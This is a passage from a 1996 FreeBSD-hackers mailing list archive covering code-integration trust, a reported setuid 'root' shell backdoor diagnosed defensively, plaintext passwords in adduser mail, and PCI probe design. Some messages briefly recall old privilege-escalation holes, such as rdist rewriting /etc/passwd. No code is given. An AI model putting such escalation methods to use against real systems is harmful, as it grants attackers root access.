devices current configuration may cause a operation to fail! What information do you want to obtain ? Regards, STefan -- Stefan Esser, Zentrum fuer Paralleles Rechnen Tel: +49 221 4706021 Universitaet zu Koeln, Weyertal 80, 50931 Koeln FAX: +49 221 4705160 ============================================================================== http://www.zpr.uni-koeln.de/~se From owner-freebsd-hackers Mon Jun 24 13:11:54 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id NAA26883 for hackers-outgoing; Mon, 24 Jun 1996 13:11:54 -0700 (PDT) Received: from ws1.sri.MT.net (rocky.sri.MT.net [204.182.243.10]) by freefall.freebsd.org (8.7.5/8.7.3) with SMTP id NAA26869 for ; Mon, 24 Jun 1996 13:11:39 -0700 (PDT) Received: (from nate@localhost) by ws1.sri.MT.net (8.6.12/8.6.12) id OAA21042; Mon, 24 Jun 1996 14:09:57 -0600 Date: Mon, 24 Jun 1996 14:09:57 -0600 From: Nate Williams Message-Id: <199606242009.OAA21042@ws1.sri.MT.net> To: Terry Lambert Cc: nate@sri.MT.net (Nate Williams), hackers@freefall.freebsd.org Subject: Re: cvs commit: src/etc/mtree BSD.usr.dist In-Reply-To: <199606241857.LAA28712@phaeton.artisoft.com> References: <199606241517.JAA20540@rocky.sri.MT.net> <199606241857.LAA28712@phaeton.artisoft.com> Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > > In case you hadn't noticed, the 'fsck' patch has been in current for > > almost a month now. The reason it wasn't put in was because I don't > > think anyone took enough time to understand the problem well enough, so > > therefore didn't want to 'break' the system if the patch didn't work. I > > gave up on trying to understand the problem (not enough time) and simply > > went with it hoping my testing was adequate. It *appears* to work, > > though if you asked me if I was sure it's the correct fix I couldn't > > answer with assurance. > > Probably need an FS expert -- do we have one of those on the list? > > -- hmmmmm... we do: me. I stated that I had regression tested the > fix. I did, including power-off destructive testing during latent > metadata update operations (see the debug sysctl in the source file > /sys/ufs/ffs/ffs_alloc.c). I did as well. But that still doesn't mean I understand it completely. Again, if I'm going to bring something into the tree, it's *MY BUTT* on the line if it breaks, so I tested it to the best of my ability. (My laptop makes a great test bed. :) [ Nomad laptop code ] > Question: did they submit the code as if it were integratable as is, > or like my SYSINIT code, was it a prototype? From what I can see > of their announcements, it was prototype code. It's patches against various releases, including the most recent 6/12 SNAP. That's pretty much 'integratable' assuming you buy that it's bug-free the way it sits. > > The 'boot-disk' code they use would be much *simpler* if they added 2 > > functions to the code and relegated all of the conditional code to it. > > (You should be able to use 1 additional function, but I'll grant 2). > > Instead of doing that there are modifications to *every* single file > > which makes the code bloat excessively, plus trying to understand it > > becomes more problematic. I've almost considered re-writing the Nomad > > code to remove these particular kludges, but I don't agree with how it's > > being done in the first place so it would only encourage using it. > > The same class of architectural arguments were the basis of some of the > patches I supplied; ironic, isn't it? 8-). *grin* > > What I've done recently is spend *ALOT* of time trying to sync. up our > > source trees. I've been sending patches back to Hosokawa with a set of > > diffs that can be applied to our -current tree to bring the Nomad code > > into the *exact* same functionality as their code, but with white-space > > and formatting changes removed. This way they can review their changes > > again to make sure they are valid (I question some of them), and allow > > us to at least have more commonality than before. Right now the code > > has diverged so much that integrating is near impossible, and if they > > diverge much more than I'm going to give up and roll everything myself > > from scratch. > > Look, this was not an attempt to denigrate the work you were putting > in, nor the cooperation. It *was* intended to point out the cycle > time involved -- nothing else. Agreed. But given the current state of affairs which unfortunately isn't going to change anytime soon, it's a necessary cost of doing business. Either we go the OpenBSD route (which is fraught with the perils of having the sources 'tainted' with bad code, thus causing the quality of the system to go downhill), or go the Linux route and have *one* person do all the code integration, which means that it's an all/nothing show. (I understand this has changed somewhat lately, and they now have a system more like our current system, where individuals 'own' parts of the tree.) > > This sounds harsh, but it's starting becoming *more* work > > to integrate their code than it would be for me to write it myself. > > It should be obvious that this would be a natural result of the > integration method used... this is perhaps more obvious to me, > because this is exactly what I suggested I was willing to do with > my own code to make it acceptable. > > I think it is unreasonable to believe that you must understand > everything in order to use work from third party providers; this > is not to say that you should accepts prototypes as of they were > production code; you should not. Probably, you should approach > them about high level issues, and leave the prototype to production > conversion to them. This is more difficult for you because of the > APM code being your baby, and integral to the use of their work. The APM code *became* my baby because I needed it working better in order to work on the other PC-CARD stuff. I started with somethin I felt I could take-on, and then worked my way into the other parts. (Enough horn-blowing, that's not the issue.) > Look on it as a collaborative effort, not a filtering effort, and > expect them to collaborate. I'm trying, but sometimes the colloboration has been difficult. They have an agenda that is completely separate from the FreeBSD agenda (as I understand it), so collabaration/integration isn't so easy. Fortunately for me, the FreeBSD Project (which has been Poul and I up till now) holds the 'big carrot'. We are the folks who 'bless' the code and bring it into FreeBSD when it passes muster. This is a 'big stick' which forces the developers to want to work with us, and I don't take that lightly. But, it also means that the Nomads are free to ignore the work that goes into the FreeBSD (partially because of my actions) and do their own thing, to the detriment of all users. So we share the responsibility to 'integrate' our code. Again, this isn't supposed to be 'the Nate story', but I'm trying to explain the similarities between the 'Nomad' code and your code, and my take on the matter from a 'integrators' viewpoint. > Use of "champions" to operate as filters is ineffective; if the > expertise (or interest) does not exist on the core team, than any > code which relies on this method for integration will fail to be > integrated. You got it. Welcome to the world of free software. So, you can do what Bruce does and write wonderfully long and descriptive explanations of his bug fixes that give us all warm and fuzzy feelings inside, plus he answers our sometimes annoying and sophmoric questions with great patience until we are convinced that it does what he says it does, or you can take the other tact and state 'I'm a x86 guru, and you should take what I say as law.'. Which developer would you rather work with? [ And again, a public thanks to Bruce for *ALL* the help he's provided over the years I've 'known' him, from Minix 1.4a -> FreeBSD-current. :) ] > > And, this is peanuts compared to your FS patches, your kernel locking > > patches, and the like. Also, the Nomad kernel code is already mostly > > broken up into functional chunks because of my previous integration > > efforts, so it's easy for me to separate out function from style. > > I wish that it were possible to change a VFS interface without impacting > everything that uses VFS interfaces, but it is not. > > I wish it were possible to ensure the state in and out of functions > without going to a style technique like single-entry/single-exit, > but it isn't -- without seriously damaging readability. Try. Try *really* hard. Try extra-ordinarily hard. And, when you've proven your point by co-operating, we can all be convinced that your way is the best way instead of lots of long email messages with hand-waving. > > However, this has taken my close to 6 months of my time working over 20 > > hours/week. For you to expect Poul (or any other developer) to commit > > to this much time is too much. I'm doing it because I got paid for part > > of it at work, and the last 2.5 months I've done it because I want to > > finish what I started. .. > > Again, not to denigrate your efforts, but the idea that all code must > be vetted by a core member expert in the code is ridiculous (and, > unless John H. has joined the core team without telling me, probably > an impossibly high standard to ever meet for some FS issues). No core members has to be involved, but some *committer* has to sponsor (champion) the code, and has to understand it 'enough' to take the heat for it. Each member has different thickness of Asbestos skin (Jordan seems to be the most thick-skinned given his tendency to integrate the most code. :) In any case, the committer has to feel safe, and no matter how wonderful your resume is, it's not going to happen 'off the bat'. As a matter of fact, I'd suspect that even John H. would go through a few rounds of 'code review' before he was given commit access. However, if you don't like the way it's being done , you can always start 'TerryBSD'. :) > > > I'm sure I could also halve or quarter my production, providing > > > rationale for things which are, to me at least, bloody obvious. I'm > > > already willing to spend a large amount of time parceling up my > > > work, but I have only so much time I'm willing to spend; please do > > > not bankrupt me. > > > > Please don't bankrupt the committers. For a committer to understand > > your code, they must become at least passingly familiar with both the > > problem, and the fix. So, it takes almost as long to 'commit' a fix as > > it does to create it. So, what may be 'bloody obvious' to you isn't so > > obvious to a committer. > > I am willing to explain issues in less than strictly technically > accurate terms to educate people to the level of passing familiarity; > but a number of my fixes require a full understanding of both the > existing code and John Heidemann's Master's Thesis to realize that > the deltas are designed to move the code as integrated by CSRG into > line with John's intended design. There are fixes which add *nothing* > to existing functionality, which seem like tangential and gratuitous > code rewrites, when they are, in fact, necessary prepatory work for > architectural next steps. But these 'next steps' don't have to be taken until we get there. In the same manner that I integrated those changes which I understood in the Nomad code (and left our almost all of the *next steps*) you must give us the 'first steps' only. Walk before running. :) > Some of the stuff people submit qualifies as PhD level work; I'd > say that most of the stuff John Dyson does falls into that category, > and there are others, which I won't ennumerate for fear of omitting > someone from the list. Unless these PhD's are already on the core > team, you are screwed: you can't expect to be able to incorporate > their work, ever. John Dyson didn't have commits priveledges for a long time (mostly due to connectivity problems), but I do know and trust his work. Also, long before he got commit privs, (and during), David reviewed his work, and vice-versa. Having 'one' expert is not enough. With the PC-CARD stuff, Poul reviews almost all of the patches I create myself as well as the Nomad stuff. Expecting us to 'trust you' is a luxury we don't even allow for ourselves. > > Until you've proven yourself to the responsible committer, you must > > *help* that person understand your code, which means putting up with > > his/her idiosyncracies necessary to get code integrated. > > I can buy this... to an extent. > I refuse, however, to educate them > to the point where they could be me. It is far too much effort, and, > I suspect, the primary reason John Dyson has yet to architecturally > document the VM system, except in broad strokes. Yet David has a pretty good idea how the system works through the help of John. And John has a pretty good idea how the system works via the help of David. > To do so would take a large effort, better turned toward coding, and a > level of detail which would significantly constrain the future > directions he would be allowed (by his peers) to take: anything > outside the plan would tend to be shot down. Contrast this to *NOT* educatin someone. You'll end up with either a completely new version of BSD (TerryBSD), or you're time and effort is a complete waste of your time *IF* your intention is that this code be integrated into a public release of FreeBSD or whatever. It's your call. Either you can comply with the system (I didn't say you had to like it), or you can refuse to comply and continue to diverge from the code base. > > And, once you've proven yourself over a period of time that you can be > > trusted to commit 'functional' code that doesn't contain 'stylistic' > > changes that *may* have function down the road, you become a committer > > on your own, able to break the tree at will like the rest of us. > > What is fundamentally wrong with taking the long view? What is wrong > with changes enabling future functionality? I simply do not understand > this. Because *I* don't trust that the code you wrote is any better than the code that is in the current system. Does this mean I don't trust you? Nope, but I don't trust the code that *I* write, hence anything that is significant is reviewed by an employee at SRI for busines work or by a FreeBSD committer for free stuff. When code gets complex, another set of eyes is *critical*. > Escaping a 3 month (quarterly report) or 6 month (middle management > review cycle) or 12 month (employee review cycle) horizion is what > pariticipating in a volunteer effort is all about. I think you've got a different idea about 'volunteer' effort than I do. I consider coding in a 'volunteer' effort as code that *I* get to write in areas that *I* want to write in. But, that doesn't mean that I no longer have responsibilities to my customers or my peers (in this case the other FreeBSD developers). > > But this responsibility has to be earned with trust, not with words and > > code. > > Pericles, how doest thou thine love approve? > > It would help if things were operated on an initial basis of trust rather > than one of distrust, wouldn't it? Then we would not have to engage a > "prove yourself to me" protocol before being able to trust anyone. How would it help? > Have you heard of the prisoner's dilemma? Yes, and I don't happen to buy into it's premises. Call me one of those 'Montana Red-necks' who distrust everyone. :) Nate ps. My email box is down in preparation for an OS upgrade, so I'll be basically off-line for the rest of day because my mail-reader is gone. From owner-freebsd-hackers Mon Jun 24 13:17:56 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id NAA27179 for hackers-outgoing; Mon, 24 Jun 1996 13:17:56 -0700 (PDT) Received: from grumble.grondar.za (root@grumble.grondar.za [196.7.18.130]) by freefall.freebsd.org (8.7.5/8.7.3) with ESMTP id NAA27143; Mon, 24 Jun 1996 13:17:12 -0700 (PDT) Received: from grumble.grondar.za (mark@localhost.grondar.za [127.0.0.1]) by grumble.grondar.za (8.7.5/8.7.3) with ESMTP id WAA06237; Mon, 24 Jun 1996 22:13:46 +0200 (SAT) Message-Id: <199606242013.WAA06237@grumble.grondar.za> To: Veggy Vinny cc: Wilko Bulte , "Jordan K. Hubbard" , guido@gvr.win.tue.nl, hackers@freebsd.org, security@freebsd.org, ache@freebsd.org Subject: Re: I need help on this one - please help me track this guy down! Date: Mon, 24 Jun 1996 22:13:31 +0200 From: Mark Murray Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk Veggy Vinny wrote: > Speaking about security, we are running a FreeBSD box and there > is a guy that has this program that can get root shell as long as he has > any account, can someone look into this and find out how he does it? Take claims like this with a pinch of salt. ;-) What is the program? If we know how it works, we can fix any secuity hole it may be exploiting. M -- Mark Murray 46 Harvey Rd, Claremont, Cape Town 7700, South Africa +27 21 61-3768 GMT+0200 Finger mark@grondar.za for PGP key From owner-freebsd-hackers Mon Jun 24 13:19:44 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id NAA27534 for hackers-outgoing; Mon, 24 Jun 1996 13:19:44 -0700 (PDT) Received: from soda.CSUA.Berkeley.EDU (soda.CSUA.Berkeley.EDU [128.32.43.52]) by freefall.freebsd.org (8.7.5/8.7.3) with SMTP id NAA27519; Mon, 24 Jun 1996 13:19:39 -0700 (PDT) Received: (from richardc@localhost) by soda.CSUA.Berkeley.EDU (8.6.12/8.6.12) id NAA19341; Mon, 24 Jun 1996 13:19:28 -0700 Date: Mon, 24 Jun 1996 13:19:26 -0700 (PDT) From: Veggy Vinny To: Mark Murray cc: Wilko Bulte , "Jordan K. Hubbard" , guido@gvr.win.tue.nl, hackers@freebsd.org, security@freebsd.org, ache@freebsd.org Subject: Re: I need help on this one - please help me track this guy down! In-Reply-To: <199606242013.WAA06237@grumble.grondar.za> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk On Mon, 24 Jun 1996, Mark Murray wrote: > Veggy Vinny wrote: > > Speaking about security, we are running a FreeBSD box and there > > is a guy that has this program that can get root shell as long as he has > > any account, can someone look into this and find out how he does it? > > Take claims like this with a pinch of salt. ;-) I know but I tried it and it does let me run vipw ;-) > What is the program? If we know how it works, we can fix any secuity hole > it may be exploiting. Hmmm, the program is called root, no sources.. it's just a 278k binary... Cheers, -Vince- richardc@CSUA.Berkeley.EDU - vince@COSC.GOV - vince@cygnus.sy.yale.edu GUS Mailing Lists Admin - http://www.COSC.GOV/~vince UC Berkeley AstroPhysics (B.S.) - Electrical Engineering (Honorary B.S.) Chabot Observatory & Science Center - Oakland, California USA Computing Networking Operations - Advisory Council Member Running FreeBSD - Real UN*X for Free! Linda Wong/Vivian Chow/Hacken Lee/Danny Chan/Priscilla Chan Fan Club Mailing Lists Admin 1996 Estoril Blue BMW ///M3 - BMW CCA Member Golden Gate Chapter From owner-freebsd-hackers Mon Jun 24 13:24:46 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id NAA28125 for hackers-outgoing; Mon, 24 Jun 1996 13:24:46 -0700 (PDT) Received: from grumble.grondar.za (root@grumble.grondar.za [196.7.18.130]) by freefall.freebsd.org (8.7.5/8.7.3) with ESMTP id NAA27993; Mon, 24 Jun 1996 13:23:25 -0700 (PDT) Received: from grumble.grondar.za (mark@localhost.grondar.za [127.0.0.1]) by grumble.grondar.za (8.7.5/8.7.3) with ESMTP id WAA06267; Mon, 24 Jun 1996 22:15:38 +0200 (SAT) Message-Id: <199606242015.WAA06267@grumble.grondar.za> To: Wilko Bulte cc: jkh@time.cdrom.com (Jordan K. Hubbard), guido@gvr.win.tue.nl, hackers@FreeBSD.org, security@FreeBSD.org, ache@FreeBSD.org Subject: Re: I need help on this one - please help me track this guy down! Date: Mon, 24 Jun 1996 22:15:38 +0200 From: Mark Murray Sender: owner-hackers@FreeBSD.org X-Loop: FreeBSD.org Precedence: bulk Wilko Bulte wrote: > > Oh yeah, also, David says both we and CRL (the ISP) block source > > routed packets. > > > > Jordan > > This makes me wonder: can ijppp also block source routed packets? > From the man page I don't see how... Not by itself, but if you turn on firewalling in your kernel you can. look at ipfirewall(4) and ipfw(8). M -- Mark Murray 46 Harvey Rd, Claremont, Cape Town 7700, South Africa +27 21 61-3768 GMT+0200 Finger mark@grondar.za for PGP key From owner-freebsd-hackers Mon Jun 24 13:31:53 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id NAA29037 for hackers-outgoing; Mon, 24 Jun 1996 13:31:53 -0700 (PDT) Received: from grumble.grondar.za (root@grumble.grondar.za [196.7.18.130]) by freefall.freebsd.org (8.7.5/8.7.3) with ESMTP id NAA28974; Mon, 24 Jun 1996 13:31:38 -0700 (PDT) Received: from grumble.grondar.za (mark@localhost.grondar.za [127.0.0.1]) by grumble.grondar.za (8.7.5/8.7.3) with ESMTP id WAA06360; Mon, 24 Jun 1996 22:27:09 +0200 (SAT) Message-Id: <199606242027.WAA06360@grumble.grondar.za> To: Veggy Vinny cc: Mark Murray , Wilko Bulte , "Jordan K. Hubbard" , guido@gvr.win.tue.nl, hackers@freebsd.org, security@freebsd.org, ache@freebsd.org Subject: Re: I need help on this one - please help me track this guy down! Date: Mon, 24 Jun 1996 22:27:09 +0200 From: Mark Murray Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk Veggy Vinny wrote: > > Take claims like this with a pinch of salt. ;-) > > I know but I tried it and it does let me run vipw ;-) > > > What is the program? If we know how it works, we can fix any secuity hole > > it may be exploiting. > > Hmmm, the program is called root, no sources.. it's just a 278k > binary... With a setuid bit? Does ktrace(1) give any clues? What do you get from strings(1)? (Long shot..) What other exploration have you done? M -- Mark Murray 46 Harvey Rd, Claremont, Cape Town 7700, South Africa +27 21 61-3768 GMT+0200 Finger mark@grondar.za for PGP key From owner-freebsd-hackers Mon Jun 24 13:36:54 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id NAA29641 for hackers-outgoing; Mon, 24 Jun 1996 13:36:54 -0700 (PDT) Received: from soda.CSUA.Berkeley.EDU (soda.CSUA.Berkeley.EDU [128.32.43.52]) by freefall.freebsd.org (8.7.5/8.7.3) with SMTP id NAA29636; Mon, 24 Jun 1996 13:36:51 -0700 (PDT) Received: (from richardc@localhost) by soda.CSUA.Berkeley.EDU (8.6.12/8.6.12) id NAA20708; Mon, 24 Jun 1996 13:36:53 -0700 Date: Mon, 24 Jun 1996 13:36:51 -0700 (PDT) From: Veggy Vinny To: Mark Murray cc: Mark Murray , Wilko Bulte , "Jordan K. Hubbard" , guido@gvr.win.tue.nl, hackers@freebsd.org, security@freebsd.org, ache@freebsd.org Subject: Re: I need help on this one - please help me track this guy down! In-Reply-To: <199606242027.WAA06360@grumble.grondar.za> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk On Mon, 24 Jun 1996, Mark Murray wrote: > Veggy Vinny wrote: > > > Take claims like this with a pinch of salt. ;-) > > > > I know but I tried it and it does let me run vipw ;-) > > > > > What is the program? If we know how it works, we can fix any secuity hole > > > it may be exploiting. > > > > Hmmm, the program is called root, no sources.. it's just a 278k > > binary... > > With a setuid bit? Not too sure... > Does ktrace(1) give any clues? Nope... :-( > What do you get from strings(1)? (Long shot..) -rwsr-xr-x 1 root users 278528 Jun 18 04:01 root is from the dir listing. as for strings... it's really long... > What other exploration have you done? Not much really..... I do remember seeing someone like hack root using ypwhich and it worked too.... that was on 2.1R... -current seemed to fix it... Vince GaiaNet System Administration From owner-freebsd-hackers Mon Jun 24 13:46:08 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id NAA00821 for hackers-outgoing; Mon, 24 Jun 1996 13:46:08 -0700 (PDT) Received: from grumble.grondar.za (root@grumble.grondar.za [196.7.18.130]) by freefall.freebsd.org (8.7.5/8.7.3) with ESMTP id NAA00798; Mon, 24 Jun 1996 13:45:54 -0700 (PDT) Received: from grumble.grondar.za (mark@localhost.grondar.za [127.0.0.1]) by grumble.grondar.za (8.7.5/8.7.3) with ESMTP id WAA06435; Mon, 24 Jun 1996 22:43:37 +0200 (SAT) Message-Id: <199606242043.WAA06435@grumble.grondar.za> To: Veggy Vinny cc: Mark Murray , Wilko Bulte , "Jordan K. Hubbard" , guido@gvr.win.tue.nl, hackers@freebsd.org, security@freebsd.org, ache@freebsd.org Subject: Re: I need help on this one - please help me track this guy down! Date: Mon, 24 Jun 1996 22:43:36 +0200 From: Mark Murray Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk Veggy Vinny wrote: > > With a setuid bit? > > Not too sure... ls -al will tell you this. Come on :-) > > Does ktrace(1) give any clues? > > Nope... :-( > > > What do you get from strings(1)? (Long shot..) > > -rwsr-xr-x 1 root users 278528 Jun 18 04:01 root is from the dir ^ | This is a setuid prog. The program is owned by root, and is SETUID, therefore it will run as if it were root. It is probably a shell (bash, sh, csh) renamed to root and setuid. "chmod 755 root" will cut it down to size. > listing. as for strings... it's really long... Try me. Cut out the rubbish and the library crap. > > What other exploration have you done? > > Not much really..... I do remember seeing someone like hack root > using ypwhich and it worked too.... that was on 2.1R... -current seemed > to fix it... M -- Mark Murray 46 Harvey Rd, Claremont, Cape Town 7700, South Africa +27 21 61-3768 GMT+0200 Finger mark@grondar.za for PGP key From owner-freebsd-hackers Mon Jun 24 14:07:36 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id OAA02205 for hackers-outgoing; Mon, 24 Jun 1996 14:04:12 -0700 (PDT) Received: from cd.iidpwr.com ([204.33.177.3]) by freefall.freebsd.org (8.7.5/8.7.3) with SMTP id OAA02143 for ; Mon, 24 Jun 1996 14:03:50 -0700 (PDT) Received: from cd.iidpwr.com (cd.iidpwr.com [204.33.177.3]) by cd.iidpwr.com (8.6.12/8.6.12) with SMTP id OAA08241 for ; Mon, 24 Jun 1996 14:06:09 -0700 Message-ID: <31CF0340.41C67EA6@cd.iidpwr.com> Date: Mon, 24 Jun 1996 14:06:08 -0700 From: Tony Tam Organization: Imperial Irrigation District X-Mailer: Mozilla 2.02 (X11; I; FreeBSD 2.1.0-RELEASE i386) MIME-Version: 1.0 To: hackers@FreeBSD.org Subject: RealAudio Player Content-Type: text/plain; charset=big5 Content-Transfer-Encoding: 7bit Sender: owner-hackers@FreeBSD.org X-Loop: FreeBSD.org Precedence: bulk FreeBSD hackers, Could anybody tell me where I can download a RealAudio Player for FreeBSD? -- Yours truly, Tony Tam +------------------------------+-----------------------------------------+ | Tony Tam | Imperial Irrigation District | | Imperial Irrigation District | 333 E. Barioni Blvd. | | email: tam@cd.iidpwr.com | P.O. BOX 937 | | tel: (619) 339 9454 | Imperial, CA 92251 | | fax: (619) 339 9189 | U.S.A. | +------------------------------+-----------------------------------------+ From owner-freebsd-hackers Mon Jun 24 14:08:38 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id OAA02186 for hackers-outgoing; Mon, 24 Jun 1996 14:04:05 -0700 (PDT) Received: from ref.tfs.com (ref.tfs.com [140.145.254.251]) by freefall.freebsd.org (8.7.5/8.7.3) with ESMTP id OAA02055; Mon, 24 Jun 1996 14:02:08 -0700 (PDT) Received: (from julian@localhost) by ref.tfs.com (8.7.5/8.7.3) id NAA01968; Mon, 24 Jun 1996 13:59:32 -0700 (PDT) Message-Id: <199606242059.NAA01968@ref.tfs.com> Subject: Re: I need help on this one - please help me track this guy down! To: richardc@CSUA.Berkeley.EDU (Veggy Vinny) Date: Mon, 24 Jun 1996 13:59:31 -0700 (PDT) From: "JULIAN Elischer" Cc: mark@grumble.grondar.za, wilko@yedi.iaf.nl, jkh@time.cdrom.com, guido@gvr.win.tue.nl, hackers@FreeBSD.org, security@FreeBSD.org, ache@FreeBSD.org In-Reply-To: from "Veggy Vinny" at Jun 24, 96 01:36:51 pm X-Mailer: ELM [version 2.4 PL25 ME8b] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-hackers@FreeBSD.org X-Loop: FreeBSD.org Precedence: bulk > > > > On Mon, 24 Jun 1996, Mark Murray wrote: > > > > What do you get from strings(1)? (Long shot..) > > -rwsr-xr-x 1 root users 278528 Jun 18 04:01 root is from the dir ^ DUH! There was also the one that used rdist in daemon mode to rdist itself a new copy of /etc/passwd (and friends) I haven't looked recently to see if that still works for FreeBSD.. I last looked in 386BSD.. julian From owner-freebsd-hackers Mon Jun 24 14:22:14 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id OAA04147 for hackers-outgoing; Mon, 24 Jun 1996 14:22:14 -0700 (PDT) Received: from maki.wwa.com (maki.wwa.com [198.49.174.21]) by freefall.freebsd.org (8.7.5/8.7.3) with SMTP id OAA04142 for ; Mon, 24 Jun 1996 14:22:12 -0700 (PDT) Received: from wendigo.trans.sni-usa.com by maki.wwa.com with smtp (Smail3.1.29.1 #1) id m0uYJ5B-000rQ2C; Mon, 24 Jun 96 16:22 CDT Received: from vogon.trans.sni-usa.com (vogon [136.157.83.215]) by wendigo.trans.sni-usa.com (8.7.5/8.6.12) with ESMTP id QAA07502 for ; Mon, 24 Jun 1996 16:17:26 -0500 (CDT) Received: from shyam.trans.sni-usa.com (shyam.trans.sni-usa.com [136.157.82.43]) by vogon.trans.sni-usa.com (8.6.12/8.6.12) with SMTP id QAA03172 for ; Mon, 24 Jun 1996 16:29:43 -0500 From: hal@snitt.com (Hal Snyder) To: hackers@freebsd.org Subject: Getting PCI information Date: Mon, 24 Jun 1996 21:22:49 GMT Organization: Siemens Nixdorf Transportation Technologies Message-ID: <31cf0674.1033247181@vogon.trans.sni-usa.com> X-Mailer: Forte Agent .99e/32.227 Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk On Mon, 24 Jun 1996 21:52:54 +0200, se@ZPR.Uni-Koeln.DE (Stefan Esser) wrote: > 3) Have the PCI probe code keep all information > from the boot phase in a kernel table Agreed. Do we need a /dev/pci with a user mode utility to translate the contents into human readable form? From owner-freebsd-hackers Mon Jun 24 14:26:02 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id OAA04481 for hackers-outgoing; Mon, 24 Jun 1996 14:26:02 -0700 (PDT) Received: from time.cdrom.com (time.cdrom.com [204.216.27.226]) by freefall.freebsd.org (8.7.5/8.7.3) with ESMTP id OAA04472 for ; Mon, 24 Jun 1996 14:25:58 -0700 (PDT) Received: from time.cdrom.com (localhost [127.0.0.1]) by time.cdrom.com (8.7.5/8.6.9) with ESMTP id OAA13304; Mon, 24 Jun 1996 14:25:36 -0700 (PDT) To: Wolfram Schneider cc: hackers@freebsd.org Subject: Re: adduser mail In-reply-to: Your message of "Mon, 24 Jun 1996 18:42:00 +0200." <199606241642.SAA01467@campa.panke.de> Date: Mon, 24 Jun 1996 14:25:36 -0700 Message-ID: <13302.835651536@time.cdrom.com> From: "Jordan K. Hubbard" Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk No arguments here! > Jordan K. Hubbard writes: > >Am I alone in thinking that adduser's current default behavior of mailing > >the user their password in plaintext is somehow wrong? > > I would rather remove the 'send mail to new user' feature completely. > This should be done with a mail client (pine, Emacs/VM). > > Wolfram From owner-freebsd-hackers Mon Jun 24 14:42:40 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id OAA07570 for hackers-outgoing; Mon, 24 Jun 1996 14:42:40 -0700 (PDT) Received: from phaeton.artisoft.com (phaeton.Artisoft.COM [198.17.250.211]) by freefall.freebsd.org (8.7.5/8.7.3) with SMTP id OAA07549 for ; Mon, 24 Jun 1996 14:42:33 -0700 (PDT) Received: (from terry@localhost) by phaeton.artisoft.com (8.6.11/8.6.9) id OAA00711; Mon, 24 Jun 1996 14:37:42 -0700 From: Terry Lambert Message-Id: <199606242137.OAA00711@phaeton.artisoft.com> Subject: Re: Getting PCI information To: hal@snitt.com (Hal Snyder) Date: Mon, 24 Jun 1996 14:37:41 -0700 (MST) Cc: hackers@FreeBSD.org In-Reply-To: <31cf0674.1033247181@vogon.trans.sni-usa.com> from "Hal Snyder" at Jun 24, 96 09:22:49 pm X-Mailer: ELM [version 2.4 PL24] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-hackers@FreeBSD.org X-Loop: FreeBSD.org Precedence: bulk > > 3) Have the PCI probe code keep all information > > from the boot phase in a kernel table > > Agreed. Do we need a /dev/pci with a user mode utility to translate > the contents into human readable form? Please consider a generic data relocation interface if you do this so that ISA PnP, PCMCIA, and other hardware relocation interfaces don't each need their own utility. I would think this would be a generic attrivute of the top level devfs directory, and ioctl()'s/fcntl()'s against an FD open on the dir itself... Terry Lambert terry@lambert.org --- Any opinions in this posting are my own and not those of my present or previous employers. From owner-freebsd-hackers Mon Jun 24 14:57:50 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id OAA09176 for hackers-outgoing; Mon, 24 Jun 1996 14:57:50 -0700 (PDT) Received: from andrew.cmu.edu (ANDREW.CMU.EDU [128.2.10.101]) by freefall.freebsd.org (8.7.5/8.7.3) with ESMTP id OAA09155; Mon, 24 Jun 1996 14:57:39 -0700 (PDT) Received: (from postman@localhost) by andrew.cmu.edu (8.7.5/8.7.3) id RAA05938; Mon, 24 Jun 1996 17:52:27 -0400 Received: via switchmail; Mon, 24 Jun 1996 17:52:25 -0400 (EDT) Received: from unix13.andrew.cmu.edu via qmail ID ; Mon, 24 Jun 1996 17:52:00 -0400 (EDT) Received: from unix13.andrew.cmu.edu via qmail ID ; Mon, 24 Jun 1996 17:51:57 -0400 (EDT) Received: from mms.4.60.Jan.26.1995.18.43.47.sun4c.411.EzMail.2.0.CUILIB.3.45.SNAP.NOT.LINKED.unix13.andrew.cmu.edu.sun4c.411 via MS.5.6.unix13.andrew.cmu.edu.sun4c_411; Mon, 24 Jun 1996 17:51:57 -0400 (EDT) Message-ID: <4lnkrxe00YUpQCvVNx@andrew.cmu.edu> Date: Mon, 24 Jun 1996 17:51:57 -0400 (EDT) From: Matthew Jason White To: Veggy Vinny Subject: Re: I need help on this one - please help me track this guy down! Cc: Mark Murray , Wilko Bulte , "Jordan K. Hubbard" , guido@gvr.win.tue.nl, hackers@FreeBSD.org, security@FreeBSD.org, 